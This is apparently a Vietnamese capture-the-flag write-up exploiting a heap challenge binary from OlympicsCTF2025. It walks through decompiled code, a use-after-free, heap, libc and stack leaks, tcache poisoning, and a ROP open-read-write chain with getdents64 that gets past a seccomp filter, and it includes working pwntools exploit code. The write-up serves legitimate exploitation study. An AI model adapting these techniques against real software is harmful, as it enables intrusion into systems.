# olympicsCTF2025 - account management
Vài ngày trước, mình có làm 1 bài ý tưởng cũng ok ở giải OlympicsCTF2025, lúc đó mình đã làm không kịp và nó đã end giải hơi tiếc một xí vì mình đã tự ti khi thấy bài đó chỉ được 4 solves nên đã không thèm giải thử =_=
## Source code
https://github.com/pwnboi59/PWNABLE/tree/main/2025/OlympicsCTF/account_management
## Info File
```
$ file acc
acc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8315f06e0978ad87bfc80007aaa2c5f4b19c3d98, for GNU/Linux 3.2.0, stripped
```
Check file thì đây là file 64bit
```
$ strings libc.so.6 | grep 'GNU'
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.5) stable release version 2.39.
Compiled by GNU CC version 13.3.0.
__GNU_EH_FRAME_HDR
```
Và là phiên bản glibc 2.39
```
$ checksec babyheap
[*] '/mnt/d/CTFTrainning/CTF2025/justCTF/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
Hầu như các cơ chế bảo mật đã bật!!!
```
$ ./acc_patched
1) register
2) edit bio
3) rename
4) view
5) delete
6) list
7) exit
>
```
Chạy file thì nó có form như những bài heap thông thường.
Trước khi vào phần giải thích, thì có những kĩ thuật cơ bản mình sẽ không nhắc lại vì hơi tốn thời gian, nếu có ai thắc mắc thì google không tính phí =))
## Reverse engineering
Hàm main:
```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
sub_1C83();
while ( 1 )
{
menu();
switch ( (unsigned int)sub_149B() )
{
case 1u:
register();
break;
case 2u:
edit_bio();
break;
case 3u:
rename();
break;
case 4u:
view();
break;
case 5u:
delete();
break;
case 6u:
list();
break;
case 7u:
puts("bye");
return 0;
default:
puts("?");
break;
}
}
}
```
Hàm register
```
unsigned __int64 register()
{
int v0; // eax
unsigned int size; // [rsp+Ch] [rbp-44h]
int size_4; // [rsp+10h] [rbp-40h]
_DWORD *s; // [rsp+18h] [rbp-38h]
char src[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
if ( (unsigned int)dword_4260 <= 0x3F )
{
printf("username: ");
sub_1509(src, 32);
printf("bio length (<= %d): ", 4096);
size = sub_149B();
if ( size <= 0x1000 )
{
size_4 = sub_1589();
if ( size_4 >= 0 )
{
s = malloc(0x38u);
if ( !s )
sub_1409("malloc profile");
memset(s, 0, 0x38u);
v0 = dword_4010++;
*s = v0;
*((_QWORD *)s + 5) = size;
if ( size )
{
*((_QWORD *)s + 6) = malloc(size);
if ( !*((_QWORD *)s + 6) )
sub_1409("malloc bio");
memset(*((void **)s + 6), 0, size);
printf("bio content (%u bytes): ", size);
sub_142F(*((_QWORD *)s + 6), size);
}
qword_4060[size_4] = s;
++dword_4260;
if ( (int)sub_15CD(src, (unsigned int)size_4) < 0 )
{
strncpy((char *)s + 4, src, 0x1Fu);
puts("created.");
}
else
{
puts("username already taken");
if ( *((_QWORD *)s + 6) )
free(*((void **)s + 6));
free(s);
}
}
else
{
puts("no slot");
}
}
else
{
puts("too long");
}
}
else
{
puts("full.");
}
return v6 - __readfsqword(0x28u);
}
```
Hàm edit_bio
```
unsigned int edit_bio()
{
unsigned int result; // eax
__int64 v1; // [rsp+8h] [rbp-8h]
printf("index: ");
result = sub_149B();
if ( result <= 0x3F )
{
v1 = qword_4060[result];
if ( v1 )
{
if ( *(_QWORD *)(v1 + 48) && *(_QWORD *)(v1 + 40) )
{
printf("new bio (%zu bytes): ", *(_QWORD *)(v1 + 40));
sub_142F(*(_QWORD *)(v1 + 48), *(_QWORD *)(v1 + 40));
return puts("ok.");
}
else
{
return puts("no bio");
}
}
else
{
return puts("no such");
}
}
return result;
}
```
Hàm rename
```
unsigned int rename()
{
unsigned int result; // eax
__int64 v1; // [rsp+8h] [rbp-8h]
printf("index: ");
result = sub_149B();
if ( result <= 0x3F )
{
v1 = qword_4060[result];
if ( v1 )
{
printf("new username: ");
sub_1509(v1 + 4, 32);
return puts("ok.");
}
else
{
return puts("no such");
}
}
return result;
}
```
Hàm view
```
unsigned int view()
{
unsigned int result; // eax
__int64 v1; // [rsp+8h] [rbp-8h]
printf("index: ");
result = sub_149B();
if ( result <= 0x3F )
{
v1 = qword_4060[result];
if ( v1 )
{
printf("id=%u user=%.*s len=%zu\n", *(_DWORD *)v1, 32, (const char *)(v1 + 4), *(_QWORD *)(v1 + 40));
if ( *(_QWORD *)(v1 + 48) && *(_QWORD *)(v1 + 40) )
{
write(1, "bio: ", 5u);
write(1, *(const void **)(v1 + 48), *(_QWORD *)(v1 + 40));
return write(1, "\n", 1u);
}
else
{
return puts("bio: (none)");
}
}
else
{
return puts("no such");
}
}
return result;
}
```
Hàm delete
```
unsigned int delete()
{
unsigned int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
void **ptr; // [rsp+8h] [rbp-8h]
printf("index: ");
result = sub_149B();
v1 = result;
if ( result <= 0x3F )
{
ptr = (void **)qword_4060[result];
if ( ptr )
{
if ( ptr[6] )
free(ptr[6]);
free(ptr);
qword_4060[v1] = 0;
return puts("deleted.");
}
else
{
return puts("no such");
}
}
return result;
}
```
Hàm list
```
int list()
{
__int64 v0; // rax
unsigned int i; // [rsp+4h] [rbp-Ch]
LODWORD(v0) = puts("== profiles ==");
for ( i = 0; i <= 0x3F; ++i )
{
v0 = qword_4060[i];
if ( v0 )
LODWORD(v0) = printf(
"[%u] id=%u user=%.*s len=%zu\n",
i,
*(_DWORD *)v0,
32,
(const char *)(v0 + 4),
*(_QWORD *)(v0 + 40));
}
return v0;
}
```
Tóm tắt qua các hàm:
+ Hàm register - Nó tạo một chunk 0x38 (chunk này mình cứ coi như là chunk username đi), thì nó gán username mình nhập, size và địa chỉ của chunk bio với kích thước <= 0x1000

+ Hàm rename thì đổi tên của chunk username, hàm rebio thì đổi nội dung của chunk bio
+ Hàm delete thì chỉ có lỗi UAF của chunk bio, còn username free xong thì set NULL
+ Hàm view thì nó in ra thông tin của username, và nội dung chunk bio.
+ Hàm list không quan trọng, vì mình kh xài nó trong suốt quá trình khai thác
## Exploit strategy
Khởi tạo các hàm cho dễ khai thác tương tự như từng chức năng để tiện lợi cho việc khai thác
```
def register(username, size, payload):
sla(p, b'> ', b'1')
sla(p, b'username: ', username)
sla(p, b': ', b'%d' % size)
sa(p, b': ', payload.ljust(size, b'\x00'))
def view(idx):
sla(p, b'> ', b'4')
sla(p, b'index: ', b'%d' % idx)
def rename(idx, username):
sla(p, b'> ', b'3')
sla(p, b'dex: ', b'%d' % idx)
sla(p, b'name: ', username)
def rebio(idx, bio):
sla(p, b'> ', b'2')
sla(p, b'dex: ', b'%d' % idx)
sla(p, b'): ', bio)
def delete(idx):
sla(p, b'> ', b'5')
sla(p, b'index: ', b'%d' % idx)
```
Heap thì mọi người cứ sống chết cố leak heap và libc cho mình, là có được tất cả rồi đó, vấn đề còn lại là kĩ năng thôi!!
Có một lỗi tận dụng được ở hàm register, nếu khai báo username trùng với các chunk trước thì nó sẽ free chunk username, và chunk bio, tận dụng lỗi UAF này có thể dễ dàng leak được heap và libc rồi.
```
#####################################################################################################
###################################### LEAK HEAP AND LEAK LIBC ######################################
#####################################################################################################
register(b'F', 0x1, b'B') #0
register(b'F', 0xf8, b'A') #1
register(b'A', 0xf8, b'a') #2
delete(1)
view(2)
p.recvuntil(b': ')
heap = (u64(p.recv(8).ljust(8, b'\x00')) << 12) - 0x1000
info('HEAP BASE: ' + hex(heap))
register(b'M', 0x828, b'B'*0x828) #1
register(b'N', 0x828, b'B'*0x828) #3
delete(1)
register(b'A', 0x1, b'B') #1
register(b'A', 0x420, b'BB') #4
register(b'C', 0x420, b'B'*0x420) #5
delete(4)
view(5)
p.recvuntil (b': ')
libc.address = u64(p.recv(8).ljust(8, b'\x00')) - (libc.sym.main_arena + 96)
```
**Giải thích**
Thì ở đoạn 0x828 thì mình khởi tạo nó mục đích tránh free một chunk lớn nằm cạnh top chunk vì nếu thế nó sẽ bị gộp vào.
Từ việc khởi tạo 0x828 rồi thì đoạn sau áp dụng công thức leak libc bằng việc khởi tạo 0x420 nó sẽ lấy từ chunk 0x828 đã free theo cơ chế tiết kiệm không gian!
Mình tính khai thác getshell bằng FSOP mà sao không được ấy, nếu ai biết thì chỉ lại cho mình nha, mình sẽ làm theo cách ghi đè con trỏ trả về của hàm main. Cách này dễ mà lại rất cồng kềnh. Muốn làm được leak stack
Mình sẽ sử dụng tcache poisoning để ghi đè chunk username chứa vị trí con trỏ chunk bio trỏ đến libc environ sau đó sử dụng hàm view để leak địa chỉ stack!!
```
########################################################################################
###################################### LEAK STACK ######################################
########################################################################################
register(b'fff', 0x48, b'B') #4
register(b'AAA', 0x1, b'B') #6
register(b'AAA', 0x48, b'B') #7
register(b'BBB', 0x48, b'CC') #8
delete(4)
delete(7)
rebio(8, p64(mangle(heap + 0x420, heap + 0xed0)).ljust(0x48, b'P'))
register(b'AAAA', 0x48, b'B') #4
register(b'AAAA', 0x48, p64(heap >> 12) + p64(0x86ec9aba156b88f8) + p64(0)*3 + p64(0x48) + p64(libc.sym.environ) + p64(0x31) + p64(heap >> 12)) #7
view(6)
p.recvuntil(b': ')
stack_leak = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
info('LEAK STACK: ' + hex(stack_leak))
ret_addr = stack_leak - 0x138
info('RET_ADDR: ' + hex(ret_addr))
```
Bài này theo ý tác giả thì chắc phải ép mình làm theo cách ghi đè địa chỉ trả về rồi, vì có seccomp
Ai thắc mắc seccomp là gì thì tham khảo video này https://www.youtube.com/watch?v=nrKNHrEouUU&t=106s
```
$ seccomp-tools dump ./acc
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0009: 0x06 0x00 0x00 0x00000000 return KILL
```
Thì nó không cho mình sử dụng execve, nên buộc phải orw thôi
Tcache poisoning tiếp để ghi đè địa chỉ trả về của main
```
register(b'ggggg', 0x100, b'a') #9
register(b'aaaaa', 0x1, b'B') #10
register(b'aaaaa', 0x100, b'B') #11
register(b'BBBBB', 0x100, b'CC') #12
delete(9)
delete(11)
rebio(12, p64(mangle(ret_addr, heap + 0x1760)).ljust(0x100, b'P'))
register(b'CCCCC', 0x100, b'B')
register(b'DDDDE', 0x100, p64(0) + p64(0xdeadbeef))
sla(p, b'> ', b'7')
```

Ta đã ghi đè thành công giờ đến đoạn dựng payload orw
Thì mình đã tìm được pop rax, pop rdi, pop rsi bằng `ROPgadget --binary ./libc.so.6`
Tuy nhiên không có syscall; ret và pop rdx; ret; (Đôi khi mình đã bỏ sót hoặc không để ý), tuy nhiên mình thử với lệnh pwntools thì nó có tồn tại lệnh syscall; ret;
```
rop = ROP(libc)
syscall = rop.find_gadget(['syscall', 'ret'])[0]
```
Giờ thì còn vấn đề với pop rdx, ret. Thì mình đã tìm được một gadget để thay thế:
```
0x00000000000b00d7 : mov rdx, r13 ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
p64(movrdx_r13) + p64(0)*2 + p64(0x50) + p64(0) + p64(movrdx_r13) + p64(0)*4
```
Dựa vào những điều kiện cần giờ bắt đầu công cuộc viết payload:
```
payload = p64(0) + p64(pop_rax) + p64(0x2) + p64(pop_rdi) + p64(heap + 0x1761) + p64(pop_rsi) + p64(0) + p64(syscall)
payload += p64(pop_rdi) + p64(0x3) + p64(pop_rsi) + p64(heap + 0x1761) + p64(movrdx_r13) + p64(0)*2 + p64(0x200) + p64(0) + p64(movrdx_r13) + p64(0)*4 + p64(pop_rax) + p64(0x0) + p64(syscall)
payload += p64(pop_rax) + p64(0x1) + p64(pop_rdi) + p64(0x1) + p64(syscall)
```
Ta đã thành công đọc được flag ở local

Tuy nhiên đây chỉ là thử ở local còn server sẽ khác
Khi mình đọc docker thì tên cờ đã được mã hóa theo md5, nên ta phải tìm tên file chứa flag
Ta sẽ sử dụng syscall getdents64

Syscall này nó sẽ liệt kê các file chứa ở thư mục
Sử dụng bằng cách open thư mục (.) và getdents64 để liệt kê các file có trong thư mục đó, rồi write.
Ta test thử:

Ok ta thấy tên cờ rồi chứ giờ lấy về và orw nó thôi!

Done!!!!